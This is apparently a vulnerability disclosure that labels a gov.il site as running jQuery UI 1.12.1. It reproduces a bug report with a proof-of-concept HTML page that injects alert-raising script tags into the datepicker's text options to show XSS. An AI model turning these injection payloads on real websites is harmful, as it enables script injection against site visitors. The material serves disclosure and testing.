jQuery UI - v1.12.1 Vulnerable Website

https://www.gov.il/Content/Ver_3/GeneralStyle?v=mGX5UPW5WKaLw05wiEkpbwRmFZYDvlBVJ1dB36eT8hs1

jQuery UI - v1.12.1 - 2016-09-14
* http://jqueryui.com
* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css

XSS Vulnerability on text options of jQuery UI datepicker

Description
similar to https://github.com/jquery/api.jqueryui.com/issues/281 but applies to the datepicker
to recreate
Create a new HTML page.
Inject this content into new page:


<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  <title>XSS in  options of datepicker</title>

  <script src="https://code.jquery.com/jquery-3.3.1.js"></script>
  <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
  <link rel="stylesheet" type="text/css" href="http://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
  <script>
		$(document).ready(function () {
			$( "#datepicker" ).datepicker({
				showButtonPanel: true,
				showOn: "both",
				closeText: '<script>alert("closeText XSS")<\/script>',
				currentText: '<script>alert("currentText XSS")<\/script>',
				prevText: '<script>alert("prevText XSS")<\/script>',
				nextText: '<script>alert("nextText XSS")<\/script>',
				buttonText: '<script>alert("buttonText XSS")<\/script>',
				appendText: '<script>alert("appendText XSS")<\/script>'
			});
    });
    </script>
</head>
<body>
	<p>Date: <input type="text" id="datepicker"></p>
</body>
</html>


on load, alerts are shown for appendText & buttonText
after clicking the input control, alerts are shown for closeText, currentText, prevText & nextText

The scripted alerts should not be shown - an attacker can take advantage of injecting malicious XSS content into website.